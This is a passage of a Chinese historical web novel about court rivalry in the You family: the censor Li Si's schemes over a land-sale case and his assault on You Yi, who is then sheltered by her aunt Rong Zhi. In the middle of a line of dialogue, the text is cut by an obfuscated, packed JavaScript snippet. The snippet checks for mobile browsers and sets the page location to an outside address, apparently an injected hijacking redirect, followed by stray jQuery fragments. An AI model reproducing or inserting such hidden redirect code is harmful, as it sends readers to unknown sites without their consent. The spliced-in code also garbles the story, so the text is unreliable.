“是吗？” 游乘挑眉，讥诮道，“既然不缺钱，那你为何到现在还住在租来的宅院里？如今京城的三进院子，成色好的也不过一千两银子，以你‘乡绅公子’的身份，怎么没买一栋？” 李司半天没接上话，梗着脖子的时候，没了先前的硬气，“我前程可期，何须自己花钱买宅院？等我办好差事，自然有人主动送宅院。” “哦？” 游乘直盯着他，“这话倒有意思。敢问李大人，是等陛下论功行赏送你宅院，还是等内阁首辅李经章，看在同乡的面子上送你？” 这话戳中了李司的要害。 他脸色一沉，猛地拍了下桌子，茶杯震得晃动，茶水溅出来，一如他的恼羞成怒，“游乘！我跟谁交好、指望谁赏，是我的事，与你无关！” “你与谁交好、盼谁赏赐，自然与我无关。” 游乘的语气冷了下来，只剩下冰冷的警告，“可你不该把主意打到秦徐身上，不该去烦她。她是我认定的妻子，我不会让你伤害她分毫。” 李司闻言，嘲讽地笑，“我当你今日找我，是为了什么要紧事，原来是为个女人来警告我？真没想到，你游介舟素一身清名，竟也会为儿女情绊了脚，成了俗人——” “我再说最后一遍，秦徐不是普通女子。” 游乘打断他，“她是我定过亲的未婚妻，我护她，天经地义。” 说着，他往前倾了倾身，盯着李司那张白净却伪善的脸，“所以，从今天起，你最好彻底断了念头，不准再靠近她半步，也不准再去书局打扰她。否则，我手里的，可不止这份青楼账单。我还会把你收受贿赂的所有证据，一并呈给左都御史刘钦大人。到时，你不仅丢了官，还被打入大牢，什么京察升迁，通通和你没关系，连你的命也难保了。” 这话像一盆冷水，瞬间浇灭了李司的气焰。 他捏紧了手指，不敢发作，只因他都明白，游乘真把证据呈上去，他就彻底完了。 他只能咬着牙，“好，游介舟，今日之事我记住了，咱们后会有期！” 自茶馆那日后，秦徐的书局果然再没出现李司的身影。即便李家日常要用纸笔，李司只打发管家来买，连面都不肯露了。 以为这事过去，秦徐重新将心思放在照看书局上，脸上的笑容也多了起来。 可没安稳几日，她父亲秦舒却拿着一张拜帖回家，那帖上“李司”两字分外刺眼。 秦舒对秦徐说，“李司递了拜帖，想来家里拜访，还说什么，要跟我商议你和游乘的婚事，我看他就是没安好心，轮得上他来商议？” 秦徐松了口气，“爹明白就好。” 秦舒语气笃定，“你放心，我已经让人回了话，说我身子不适，不便见客。他要是识趣，就不会再来纠缠了。” 对此，秦徐心里还是放不下。 她寻了个空隙见到游乘，满是担忧，“你说，李司被拒了，会不会记恨父亲，往后在朝堂上给父亲找麻烦？父亲在工部当差，李司在都察院，专管弹劾，他故意找茬，父亲会吃亏。” 游乘却丝毫不担心这个，“秦伯父处事素来周全，可不是任人拿捏的。李司心里有气，也不敢真对秦伯父怎么样。排资论辈，他不是秦伯父的对手。何况，他现在自身难保，还有精力找别人的麻烦？” 秦徐听着游乘的话，担忧渐渐消散，“有你在，我是该放心的。” 然而她的担忧绝非多余。 李司的事情没有结束。 又过了几日，游家二房媳妇周氏，竟收到了李司的夫人递来的帖子，对方邀周氏吃茶，还说有要事相商。 周氏拿着帖子，心里犯怵，手都有些抖。她听说过李司，因为这人是游怜泉的竞争对手。 李司的夫人邀她喝茶，肯定没好事。 她把此事转告给夫君游怜泉，“李司是不是有什么阴谋？我还是不要去的好。” 游怜泉最近忙着收拾都察院的残案，想在京察中多攒点功绩，这时，连头也没抬，“她是妇人，找你见面，最多是探口风、攀关系，别理她就是。李司自己占不到便宜，就让夫人来拉拢，没出息……” 周氏的了游怜泉的回应，依旧不安，“可若是轻易得罪了他夫人，被人添油加醋，说咱们游家倨傲无礼，不把同僚放在眼里，会对你的考评不利啊。到时影响了升迁，就麻烦了。” 游怜泉总归不想管此事。 周氏左思右想，始终拿不定主意。 她怕听夫君的话，驳了对方颜面，惹麻烦。 又担心赴约，惹出是非，被李家的夫人套话。 最后她只好揣着帖子来找大嫂容芝商量。 不足斋。 容芝坐在窗边理账，盘算过年的开销和分利。 她见周氏神色慌张地进来，忙问，“弟妹着急地来，是内宅出了事？” 周氏摇头，将帖子递过来，“大嫂，您看，李司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232294|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的夫人邀我明日吃茶。您也知道，李司和二爷是竞争副都御史的死对头。京察正紧，我实在拿不准，该不该去。去了怕落圈套，不去又怕被人说闲话。” 容芝接过帖子，沉吟片刻，“见还是要见的。游家在京中立足，要注重‘礼数周全’，直接避而不见，显得心虚，给人留话柄，传到都察院，让李司抓住由头说二弟‘心胸狭隘’。” 见面时，拎清分寸。 别走太近，寒暄几句就够。 茶水浅尝辄止，别贪食她递的陌生点心。 如果对方提宅子、问人脉，或是绕到朝堂、京察的事上，就打哈哈岔开，只说自己是内宅妇人，只管柴米油盐、伺候公婆，外头的事不懂也不过问。 保持距离，不深聊，就出不了差错。 周氏听完大嫂的一席分析，心里石头落了地，“大嫂想得周全！那我应下她的约，按您说的做，绝不多嘴。” 隔天周氏去见李司的夫人，带了一份不轻不重的画轴作为见面礼，首饰也选了素净的银簪，生怕太张扬，惹来是非。 马车停在约定的茶铺子前。 周氏带丫鬟下车，见李夫人站着相迎，脸上堆着热络的笑。 “周妹妹来了！” 李夫人上前，拉住周氏的手，攥得很紧，“我特意先备了新茶，还有松子糕，咱们姐妹好好聊聊。” 周氏按容芝的嘱咐，脸上堆着客气，抽回自己的手，“劳烦夫人等这么久。” 两人并肩进了茶亭，伙计端上茶点退了出去，亭内只剩她们二人，气氛有些微妙。 李夫人捧着茶盏，小口啜饮着，不住打量周氏的衣饰，直夸好看，问料子是不是江南的云锦。又说，游家果然家底丰厚，不像我们家，处处要精打细算。 周氏笑着应和，“是去年的旧衣，夫人见笑。” 茶过三巡，话都说得差不多了。 李夫人终于按捺不住，状似随意地说，“我家那口子，近来总念叨，想在京城置办一套像样的宅子。如今住的那处太小，接待同僚都不方便，可寻了许久，要么地段不好，要么院落太小，始终没合意的。” 周氏哦了一声，没往下接。 李夫人话锋一转，语带几分试探，“你们游家在京中人脉广，路子多，不知你们手里有没有合适的房源？或是认识靠谱的房牙行，也请周妹妹多指点一二啊！咱们都是家眷，往后还要互相帮衬呢。” 周氏心里一凛，端起茶，“李夫人真会说笑。我们家的宅子都是御赐的，自己哪会留意房源？这手里，真没有推荐。” 李夫人笑容尴尬。 周氏继续客气，“至于房牙行，我是内宅妇人，出个门都要报备，哪知晓外头的门道？怕是帮不上您的忙，实在对不住。” 李夫人碰了个软钉子，脸上的笑淡了些，也没再纠缠下去。 这一趟会见，李夫人本想借着买房的由头，探探游家的底细，套一套游家对都察院升迁的态度，没成想，周氏油盐不进，半句有用的话都问不出来。二人又聊了些无关紧要的，李夫人只好送着周氏离开。 周氏回府后，第一时间就往长房的东园去。 她把见面的情形说了，连李夫人的语气、神色都描述得仔细。 容芝听后，直夸周氏做得很好，既给了李家面子，又没落话柄。 日子在暗流涌动中过去，转眼到初春。 京城的柳树抽出新枝，等待会试的举子们却愈发焦灼。 第一场开考的日子越来越近，贡院外的客栈早已住满了各地赶来的考生，连带着文房四宝都涨了价钱。 二月初一这天，宫里传来消息。 皇帝亲自钦点了两位翰林院大学士，担任本次会试主考官。一位是前礼部尚书，一位是太子太傅。 消息传到游家，容芝的脸上露出笑，“只怕这二位都和你们老师袁敞是故交，只要乘儿、余儿正常发挥，不会被为难，定能得个公判。” 游乘在一旁看书，闻言抬头，“儿子在袁公书房里，见过这二位的亲笔文章……他们很看重文章立意，和笔法工整，我和弟弟平日里练的就是这些，真不用慌。” 没过几日，又有考场的消息传来。 本次负责阅卷的十八位同考官，竟全是来自都察院的科道官。 游乘在秦徐的书局里送莲子羹，正好与秦徐说道，“都察院的人当同考官，倒是少见。今年会试，不仅看学识，更看重考生的品行与立场。都察院管着监察，选官时会加重考量。” 秦徐手里的算盘都停了，“你和弟弟品行端正，文章又好，完全没问题。” 游乘把她吃完的空碗拿过来，“借你吉言。等考完第一场，咱们去看看之前说的院子？” 秦徐没回他的话，低头，手里算盘又噼里啪啦响了起来。 三月初九，会试第一场开考的前一晚。 贡院外早已排起了长龙，灯笼的光映着考生们紧张的脸。有人来回踱步，缓解焦虑，还有人也许在想家人，面色凝重。 与之前的乡试不同，会试前考生不必锁院，只有考官会提前半月被锁入贡院，断绝与外界往来，以保阅卷公允。 此刻，所有考生都要接受严格搜身，从衣襟到靴底，连笔墨纸砚也要拆开，看看有没有夹藏小抄。 游乘和游余站在队伍里，游余穿着母亲新做的儒衫，手提着考篮，看此情形便小声嘀咕，“隔三年再参加科考，我还有点紧张啊。” 游乘拍拍他的肩，“正常发挥就好。” 说话间，轮到游余上前接受搜身。 禁军仔细检查了他的考篮，确认无误后才放行。 游乘紧随其后，顺利进入贡院。 兄弟俩在门口分道扬镳，各自走向自己的号房。 第一场考的是四书解义三篇、五经解义四篇，皆是两人平日温习烂熟的内容。 游乘坐在狭小的号房里，看着考题，提笔从容书写，引经据典条理分明。 交卷时，游乘照例先出了场。 他等着弟弟跑出贡院大门，日头已偏西。 游余捂着肚子，饿得直喊，“得好好吃顿好的补补！酱肘子、糖醋鱼，我要各来一份，还要点一壶新茶！” 话音刚落，他就瞥见不远处树下的秦徐，提着食盒朝他们挥手。 游余快步跑过去，“九姐姐带吃的了么？” 秦徐把食盒递上，心疼道，“怕你们考完饿，特意让家里厨房做了点心，有豆沙糕，杏仁酥。不过，我听见你说想吃大餐，也可以去，我已经让伙计留好位置，就等你们出来。” 她办事，真叫一个妥帖。 三人说笑着，往街市最热闹的酒楼走去。 踏进了酒楼，喧嚣人声和饭菜香扑面，店小二热情迎上，引着他们往二楼。 游乘跟着走，到了二楼，目光却猛地顿住。 只见店伙计推门送菜，而那临窗的位置上，他家二伯游怜泉坐在那里，穿藏青的官袍。 至于二伯的对面，竟是那难缠的都察院李司！ 此时，李司捏着本蓝册子，微微前倾身子，递到游怜泉面前，嘴里不知在说着什么，脸上带着刻意的殷勤。 而游怜泉皱着眉接过册子，飞快地翻过几页，原本平和的脸色一下变得铁青，显然是看到了什么让他惊讶愤怒的内容。 看到这一幕的游乘站在原地，心里跟着一沉。 二伯游怜泉与李司，本是竞争副都御史的对头。京察在即，两人私下会面，已属反常。再看二伯这神色，怕是李司又使出了什么手段。 要么是拿把柄威胁，要么是设了圈套。 游乘正想再看仔细些，胳膊被秦徐轻轻拉了拉。 “介舟怎么了？哪里不舒服？” 游乘回过神，压下不安，摇了摇头，“没什么，许是看错了。咱们先吃饭，别让弟弟饿着。” 几人继续跟着店小二上楼，却没放下刚才看到的怪事。 果不其然，这日晚上，游乘在东园门前看见二伯游怜泉回家，喊了好几声二伯，游怜泉却好像没听见，只顾低头走路。 后来阿桔姑姑去南园打听。 说是，二伯把自己关在书房里，连晚饭都没吃，想一个人安静地思考事情。 听此，容芝察觉到不对，立马去南园找来二弟妹周氏，才知道今日李司递给游怜泉的，是一桩京郊私田案的卷宗。 这桩私田案，不算复杂。 有人暗中变卖皇族御赐田产，触碰了律法红线的大忌讳。 可案子查到深处，发现牵扯的人很不简单。 不仅有官位不低的官眷牵涉其中，背后还连着三殿下的王妃，以及王妃娘家许家的二郎许逢。 另外，这案子和容芝，还有关系。 南园的书房里，游怜泉饿着肚子，仰靠在椅背上。案上卷宗，历历在目，纸张被捏得发皱。 御赐田产、三殿下内眷、许家、游家长媳。 每一个词都足以让案子成为烫手山芋，稍有不慎，便会引火烧身。 游怜泉心里清楚，李司把案子递过来，根本不是好心，而是想把他架在火上烤。 他办了，要得罪三殿下和许家、长房； 不办，李司转头就能参他“包庇亲眷”。 影响京察是小，甚至可能掉脑袋。 彻夜未眠，隔日李司又递话来，约在茶馆见。 游怜泉犹豫再三，还是决定去，他想看看，李司到底想耍什么花样。 两人坐定，李司装作好心，“不瞒你说，这案子我查了半个月，越查越心惊。三殿下的身份摆在那儿，牵一发而动全身。我来京城不过两年多，根基尚浅，实在不敢轻易得罪任何一位勋贵，更别说牵扯到殿下内眷的事。万一办砸了，我这命，保不住。” 游怜泉冷笑，“你那怎么还要给我？” 李司笑道，“因为游家是京城有名的司法世家啊！令尊游仁泰大人，是大名鼎鼎的大理寺卿，审过的棘手案子不计其数，什么权贵都敢碰？所以，游大人您承继家学，对付这类案子，更有经验，也更有底气。” 说到这儿，李司将卷宗轻轻往前推了推，姿态放得极低，“我思来想去，觉得这案子交给您最合适。您素来公正，定能处理好。还望您能收下，别让我为难。” 游怜泉眉峰微挑，没绕弯子，“这是都察院的公事，按规矩该在衙门里议，你却特意约我来茶馆谈，还把这么棘手的案子推给我，未免不合常理。你直说吧，到底有什么目的？” 李司闻言，脸上堆起笑，像是真的在为游怜泉着想，“游大人这话就见外了，咱们同在都察院当差，私下里也算朋友，何必将公事弄得这么生分？再说，我哪有什么目的，不过是觉得您更适合罢了。” 他轻轻点了点桌上的卷宗，“您别觉得这案子棘手，它实则是个绝佳的机会。三殿下位高权重，但私卖御赐田产就是错了，只要您查得明白、办得漂亮，可是件能记大功的事。陛下那边，说不定要大大有赏！” 游怜泉摇头，不语，把卷宗推回去。 李司又将卷宗推回来，“游大人想升副都御史嘛，我知道，这一桩案子能成，对您的升迁大有裨益，或许直接跳过副都御史，往更高的位置走一步呢！兄弟，你有兴趣，这案子只管拿走，我会把查到的线索都给你。” 游怜泉没被他的话诱惑，“你会这么好心？我看你是想把我往火坑里推，让我保不住脑袋。还谈什么办成案子、记大功……一头连着三殿下，一头是我大嫂。我再着急立功，也不敢同时得罪这两个人，除非，我疯了。” 霎时，李司敛去了面上的表情，换成了几乎逼问的口气，“你到底是怕三殿下的权势，还是怕得罪你大嫂？京察关键期，你查清此案，‘大义灭亲’，陛下肯定赞你公正无私，更看重你。再想想？” 游怜泉仍不动心，稳坐如山。 李司不免敲了敲桌面，施压起来，“那你不办这案子，难道就没其他人办了？左都御史刘大人，早盯着了。我今天约你，念着咱们同朝为官，也考虑你是游家的人。一旦案子被旁人接手，闹大了，牵扯出你大嫂，你这游家二郎，能独善其身，不受半分牵连？到时，能不能保住脑袋，还两说啊。” 这话很是危险。 游怜泉垂着眼，再看向桌案上的卷宗。 “京郊私田案”像烫手烙铁，烫得他心神不宁。 办，还是不办。 在迟疑与权衡中，游怜泉迟迟没有开口。 李司再把卷宗推上，“游大人不必现在答复，回去想一想。案子我压着，不给旁人插手。三天之内，你想通了，随时来找我。如果你不想办，就当咱们今日没谈过这事。” 而后，李司起身拱手，转身离开了茶馆。 只剩游怜泉独自坐着，茶水早已凉透。他盯着那本卷宗，仿佛要将它看穿。 入了夜，店小二来催打烊。 游怜泉猛地回神，将卷宗塞进袖中，快步走出茶馆，上马车往侯府赶。 他靠在车壁上，脑子里反复回响着李司的话。 “大义灭亲”，“记大功”，“被牵连”，“三殿下”，“大嫂”。 要不，他接了这案子，为自己拼一回？ 54. 二伯遭弹劾 悄然一夜雪，清晨推门才知京城裹上素白。 游家二郎游怜泉住在南园，这院子冬日冷清，一夜过去，檐角的冰凌足有半尺长。 冷风钻进衣里，又凉又疼。 他得赶着进宫，下了石阶往院中走，鞋底忽然踩了块冰，没踩稳就听头顶“咔嚓”一声。 被雪压断的枯枝砸下来，直直压在他右腿上。 “嘶！” 游怜泉倒抽一口冷气，坐在地上起不来，低头看时，裤腿被雪浸湿，接着是一阵钻心的疼。 他腿上有旧伤，去年以都察院佥都御史的身份，去北面巡按，摔下马背留下陈伤，一到阴雨天就会作痛。 这下伤腿被断枝砸中，他靠自己已爬不起来。 随从阿福从屋里跑来，扶着他慢慢地挪脚，“二爷您没事吧？要不请个大夫来看看？” 游怜泉摆手，坐在正堂的椅子上，揉着受伤的腿，心里的火气直往上冒。 他今天本打定主意亲自去见李司，把京郊私田案的事说清楚，眼下是办不到了。 这私田案是昨天李司主动找他提的。 当时李司的语气热络，几乎挑明了告诉他，只要办好案子，自己要的东西就都是唾手可得。 游怜泉早已过了三十，在刑部、都察院待了近二十年，卡在了正五品佥都御史。 同年不是外放巡抚，就是入阁当差，他心里不着急，便是说谎。李司送来这桩案子，好似真的为他送来了希望。 腿伤成这样，出门没戏。 游怜泉不敢多耽搁，叹了口气，吩咐阿福，“去给吏部递个告假的帖子，就说我感了风寒，今日不去当值。” 福顺刚要走，又被游怜泉叫住，“等等！你去里屋看看夫人醒了没，说我有事找她。” 周氏当年嫁进家里，性子是爆的，但自从生下游宜，将庶子游乘过继到长房，搬去京郊庄子过了些年，整个人变得温和了许多。 如果游怜泉不是太着急应承案子，也不会想托周氏帮忙。 他想着，让周氏去李司家，先递个话，把自己愿意接手案子的心意传过去，总比让阿福这种下人去说更稳妥。 游怜泉让丫鬟找来一根拐杖，拄着拐杖试着走了几步，实在疼得厉害，只好放弃，又坐回椅子上。 等了会，阿福慌慌张张从里屋出来，“二爷不好了！”他到游怜泉面前，气都喘不匀，“夫人怕是昨夜受寒，这会正发着热，嘴唇烧得发白，呕吐得下不了床！” 真是流年不利，祸不单行。 游怜泉由阿福扶着，走进里屋。 周氏躺在床上，盖着两层厚被，脸白得像纸，额上敷着帕子。丫鬟端来了药，拿着勺喂她喝，刚碰到唇，周氏就皱眉偏头，“不……喝不下……” “怎么突然受寒？” 游怜泉忍着疼，坐在床边摸她的额，竟烫得吓人。 丫鬟在旁低声说，“昨夜夫人说给大姑娘缝件新袄，在灯下坐了半夜，也许窗没关严，灌了雪风。” 游怜泉盯着屋外的飘雪，用力握住拐杖头。他叮嘱丫鬟好生照顾周氏，却不得不更着急。 私田案牵扯很深，说跟三殿下、和家中大嫂有关，多拖一日，多一分变数。若被别人抢了先，他一辈子就全废了。还是要找人立刻去李司家说明。 阿福虽可靠，涉及官场晋升、皇族和家族密案，终究不合适。万一泄了口风，不仅他没好处，还得罪了都察院的李司和刘钦。 正左思右想，院里传来丫鬟的通传。 “大姑娘回来啦！这是庄子新晒的梅干？” 游怜泉眼前一亮，女儿游宜前几日带信，说想回侯府看望周氏，正好赶在了今天回来。 没等他起身，穿着素棉裙的宜姑娘走来，肩上背着包袱，发梢沾着雪。 游宜今年十六，自小陪着周氏在田庄长大，不像京中世家的其他姑娘那样娇生惯养。她眉眼仍是清秀，手脚也利落，性子却随了从前的周氏，遇事不会后缩。 “父亲，母亲怎样？” 游宜放下包袱，快步来了床边，见周氏烧得睁不开眼，立刻红了鼻子。 游怜泉却没心思跟她聊家常，拉着她往屋外走。到了书房，游怜泉坐在桌前，点起烛台，匆匆写了封信。 写字时，游怜泉的手有些抖，一来腿疼，二来心急。 在给李司家的信里，他稍微提了一点私田案的内情，说“烦请李夫人转告李大人”。把信交给女儿游宜的时候，他反复叮嘱游宜，“到了李家，信要亲手给李夫人，你自己别多说话，更别问东问西，送完信赶紧回来，注意安全。” 游宜接过信封，发现父亲额上的汗。 她和父亲不常见，父亲也向来不让她掺和家族事，更别说家外的公事。 今日怎么愿意让她去李府送信？ 游宜看着父亲的焦急，点了点头，“您放心，我这就出门。” 丫鬟找了件厚些的袄子，塞给游宜一只手炉。 游宜揣着信，踩着雪跑出南园。 从侯府到李府，要穿过三条街。 雪后路滑，游宜走得稍微慢了点，赶到李府已近晌午，渐渐歇了雪。 李府的门房是势利眼。 大约看她衣着普通，他们一开始不肯帮她通报，直到游宜报出“侯府二房游怜泉之女”，门房才不情不愿地进去传话。 没等多久，一个仪容贵气的妇人出来。 介绍自己是李司的夫人柳氏。 柳氏应该三十出头，脸上敷着厚厚的脂粉。 她的眼神扫过游宜的棉裙，停在游宜清秀却无粉黛的眉眼上，微微一滞。 不知想到什么，她脸上的笑淡了几分。 “既然是游大人家的，进来吧，”柳氏引着游宜去正堂。 丫鬟上了茶，柳氏没动茶杯，只淡淡地问，“大姑娘来，有什么事？” 游宜连忙从怀里掏出父亲的亲笔信，双手递过去，“这是我父亲让我交给您的信，请您转呈李大人。” 柳氏接着信，捏着边角。 她连拆都没拆，就放在一旁的桌案上，敷衍道，“行，我知道了，回头我转给夫君。大姑娘要没别的事，回去吧，我还有些琐事要忙，就不招待你了。” 游宜见状，心里不太舒服，却记着父亲的叮嘱，没多说其他，起身道了谢。 她要往院门走，突然听见管家通报。 “大人下值回家了！” 话音刚落，穿绯色官袍的男子大步走来，正是李司。 他年纪轻轻，不到三十，三年前中了状元，一路升到正四品的都察院佥都御史，正是春风得意的时候。 家中有面生的年轻女子。 李司一眼就瞧见了游宜，目光在她的身影上顿了顿，心里有了想法。这姑娘，穿着家常衣裙，透着一股干净利落的劲儿，比京里娇滴滴的小姐鲜活得多！ 而后，李司很快看到了游宜垂在身侧的手。 那双本该属于少女的手，指节分明，有浅黄的茧子，甲缝里还有残泥，显然是常年做活的。 到了此时，李司眉头蹙了一下，刚对她生出的好感，瞬间淡了些。 他向柳氏打听了这姑娘，得知是游怜泉的女儿，便对柳氏说，“游家大姑娘为公务而来，我回了家，亲自和她谈，你下去忙自己的。” “……”柳氏脸上闪过一丝疑虑。 她知道，夫君近来跟游怜泉在搞竞争，却没想到，李司对游家姑娘这么客气，要亲自接见。 柳氏素来是怕李司的，不敢违逆他的话，一步三回头退出去，转身前给了游宜一个眼神警告。 门合上了。 只剩下李司和游宜二人。 李司脸上的温和，立刻荡然无存。 他把手从袖子里伸出来，往前凑了两步，借着“看你是不是受了寒”的话，攥住了游宜的手腕。 他的力道很大，吓得游宜浑身一激灵，赶忙往后挣，口中喊道，“李大人，请自重！” “自重？” 李司嗤笑一声，手顺着她的手腕往胳膊上滑，眼看要碰到她的肩膀，“不过是个乡野庄子养的姑娘，装什么清高？你父亲想踩着我往上爬，让你来见我就是让你陪我一会，怎么？” 这话彻底刺激了游宜。 她在田庄长大，性子是野的，但是最恨别人说她“乡野”，更恨李司的仗势欺人。 游宜没等李司的手有更多动作，抬手就往李司脸上扇去。 “啪”的一声，在安静的正堂里十分刺耳。 李司往后退开，被打蒙了。 他瞧着面前看似柔弱的游宜，反应过来后，猛地抓住她的肩，把她按在桌沿，“你敢打我？活腻了吧！” 游宜趁着他俯身，转头往他凑近的耳朵上咬，舌尖尝到了甜味。 “啊！” 李司惨叫后退，捂着流血的耳朵，瞪着游宜的眼神又惊又恨，“疯丫头！！” 屋外，柳氏本就放心不下，一直贴在门边听动静，一听到李司的惨叫，立马冲了进来。 柳氏看见李司捂着耳朵，指缝里不断渗血，而游宜站在一旁，嘴角沾着血迹，眼神凌厉。 柳氏心一紧，挡在了李司身前，推了游宜一把。她用了全力，游宜踉跄着后退，差点撞到身后的桌角。 “你这姑娘，怎的不识好歹！我家夫君好心跟你谈事，你竟动手伤人，还下这么重的口？这传出去，看谁还敢娶你！这辈子别想嫁人！” 游宜攥着袖子里压根没机会送出的信，只觉得一阵恶心。 李家夫妇，一个龌龊不堪，一个颠倒黑白，多说一句都嫌脏了自己的嘴。 她没反驳，转身就冲出正堂，一路跑出李府。 街上的雪已经化了不少，路面又湿又滑。 游宜跑得急，几次差点摔倒，冷风灌进喉咙，又疼又痒，眼泪不知不觉就掉了下来。 她不明白，父亲为什么要让她来这种地方，为什么李司会是这样的人。更不明白自己到底做错了什么，要受这种委屈。 一路跑回侯府，游宜没去别的地方，径直冲进了南园父亲的书房前，敲开了门。 游怜泉站在门后，拄着拐，手上看着私田案的卷宗，见了她回家，还以为事情办得顺利，“丫头，信送到了吗？李夫人怎么说？” 可下一瞬，游怜泉的目光一凝，肯定看见了游宜的红眼眶和嘴角的血。 游怜泉惊讶道，“你跟人打架了？” 游宜再也忍不住，抹着停不下来的眼泪，哽咽着把在李府的遭遇一股脑说了出来。李司的轻薄、柳氏的刁难、自己如何反抗、如何被骂……她越说越委屈，眼泪更像断线的珠子。 然而，她没成想，父亲游怜泉听完，只是皱了皱眉，拍拍她的背，显得不甚在意。 “罢了罢了，多大点事。李大人许是瞧你伶俐，一时失了态，也没做什么过分的事。你一个姑娘家，出门在外要懂得忍让，别动不动就动手，传出去，对你和侯府的名声不好。” 漠然的话语，像冷水，从游宜的头顶浇下，也浇灭了游宜所有的期待。 游宜抬起头，看着父亲，“李司那样对我，您还说没什么？您只想着案子，根本不在乎我受了欺负！” 游怜泉一愣，也来了火气，“我怎么不在乎你？我让你去送信，是信任你！李司是朝廷命官，跟他闹僵有什么好处？你好不懂事！” 游宜看着父亲满脸的不耐烦，心痛得厉害。她没再说话，扭头跑出了书房，奔向母亲周氏的屋子。她得不到父亲的疼爱，只想找母亲诉诉苦，哪怕母亲病着，能听她说几句话也好。 一推开屋门，看周氏依旧躺在床上，脸色比早上更苍白，呼吸带着喘息。 丫鬟给她喂着药，可药刚喂进去就被周氏吐出来。 “夫人一直退不下热，可怎么办好？” 丫鬟起身，对游宜无奈地摇了摇头。 游宜站在床下，看母亲越来越虚弱，那些嘴边的哭诉又被她咽了回去。母亲病得这么重，哪里还顾得上她的委屈？ 她只能默默站在一旁，看着母亲无声落泪，悄悄抹掉。 暮色四合。 南园里的灯笼亮起来，丫鬟提灯走过回廊，晃来晃去，却照不暖游宜心里的冷。 游宜很少留宿侯府，南园没有她专属的住处。 这院子里平日就人少，只有三间住人的屋子，一间是父母的，一间给客人的厢房，剩下的一间改成了书房。她每次回来，只能临时住在偏耳房。现在母亲病着，父亲满脑子是私田案，根本没人顾得上她，再待下去，是自讨没趣。 游宜回到耳房，拎起压根没打开过的包袱。 里面装着从田庄带的衣物和一些零碎，她没去跟父亲告别，也没跟睡不醒的母亲说一声，安静地离开南园。 侯府大门前的小厮见她要出去，连忙劝道，“大姑娘，天这么晚了，您还去哪儿？再过一个时辰要宵禁，出去了可就回不来了。” “我回京郊的庄子。”游宜听出自己声音沙哑。 小厮终究没多说，找了个车夫，送她上马车。 车帘放下，游宜靠在车壁上，眼眶又发了酸。 她想起在田庄的日子，虽清苦却自在，每天去地里看庄稼，傍晚坐在院里晒太阳，还能跟庄子里的姑娘一起纺线做针线，没人会欺负她，更没人会忽视她的委屈。 现在，她坐在华贵的马车里，却无家可归了。 在自己家里，能容身的地方都没有。 眼泪顺着脸颊流，她不敢哭出声，怕车夫听见，怕自己一哭就不可收拾。 马车刚驶出大门，没多远，只听“咔嗒”一声。 车身一歪，车夫勒住缰绳，惊道，“大姑娘！车轴好像断了！” 游宜掀帘，去车旁一看，果然是车轴断了，车轮歪在了一旁，没法再用。 “怎么办？” 车夫往四下的空无看，“再半个时辰要宵禁，您赶不回田庄，得在城外冻一夜！” 游宜蹲在车边，只觉浑身无力，老天都要跟她作对。 风带着化雪的寒气，她裹紧棉袄还是很冷。 脑海中，李司那张轻佻的脸突然闯入，她的手腕上似乎还能感受到被攥住的恶心。 胃里翻涌，满心不适，眼泪打转。 就在这时，身后传来一道温和的关切。 “宜丫头？你怎么蹲在这儿哭？” 面前弯着腰的，是个穿月白袄裙的妇人，正是长房伯母容芝。 游宜是知道的。 大伯游怜山的妻子容芝，为人精明能干，又和善，在侯府里很有威望，印象里很亲切。 “大伯母……” 游宜哽咽起来，一开口眼泪又掉下来，“我的马车坏了，宵禁前，我回不去田庄了……” 容芝掏出帕子，擦去她脸上的泪，温柔道，“这有什么难的？赶不回去了，你就先在侯府住下。我给你收拾间屋子，东园有好几间空房，住起来是舒服的。” 游宜想了想，犹犹豫豫摇头，“大伯不会同意的，我是二房的女儿。” “没事。” 容芝笑着拍游宜的手，掌心温度很暖，而后，拎起游宜脚边的包袱，拉着她上了马车，一同回到侯府大门里。 前头有丫鬟掌着灯笼。 游宜走在大伯母容氏身旁，紧绷的心终于松快，而积攒一天的委屈却决了堤。 她侧身抱住容芝，呜咽着，把在李府的遭遇讲出来。 容芝越听，眉皱得越紧。 她握着游宜的手，紧了又紧，疼惜道，“他们欺人太甚了。” 快到东园时，容芝停住脚，叮嘱游宜，“待会儿见了大伯和哥哥们，别紧张。他们心善，不会看你受委屈不管。” 游宜深呼吸，用力点点头。 东园的门虚掩。 容芝把游宜领进偏院的卧房，让丫鬟去备热水。她找来一套柔软的细棉裙，浅粉的料子，领口绣着竹叶，是她最近新做的，但觉得颜色不合适，这下给游宜穿，又稍微大了点。 游宜捧着软软的新衣，“我喜欢，谢谢大伯母。” 容芝笑弯了眼睛，“你泡个热水澡暖暖身子，换上干净衣服，我和你大伯说一声去。” 泡在热气腾腾里，游宜的身子放松下来。 热水驱散了寒气，可她一想起李司，抬手摸摸自己的耳朵，仿佛又尝到当时的甜味，还是忍不住打寒颤。 换好衣服出来，头发滴着水。 丫鬟提着铜盆来，拿着块干净的布巾，“帮您擦擦头发。正堂里，饭菜摆好了，大爷、大公子和二公子等着您。” 游宜跟着丫鬟到正堂，听见二哥游余的声音。 “……炭火再添一盆，大妹在外面冻了好久，别让她觉得冷。” 游宜松开握紧的拳，走进去。 大伯游怜山穿着常服，低头翻着手里的卷册。大哥游乘坐在一旁，支着胳膊，在琢磨什么。二哥游余在往炭盆添炭，火光映得他脸上暖融融的。 中央的饭桌上摆着热菜，一锅喷香的鸡汤，还有两碟精致的点心。 “大妹！”游乘最先抬头，起身往旁挪了凳子，笑道，“来坐，我这里最暖和。” 游余也放了手里的炭，拿起桌上温好的小半碗米酒，递过来，“喝一点吧，很甜，不辣。” “喝什么酒？”游怜山啧了一声，合上书卷，“先让她吃点东西，别饿着。” 被这样的善意包围，游宜的鼻尖又酸了，差点又要哭出来。 她抱着温热的米酒碗，看向大哥游乘，说出了藏在心里很久的话，“大哥，上次在田庄，我不是故意拖延……是李家二老爷，他拿着刀子抵着我，说我要是不配合，就去针对父亲，我……” 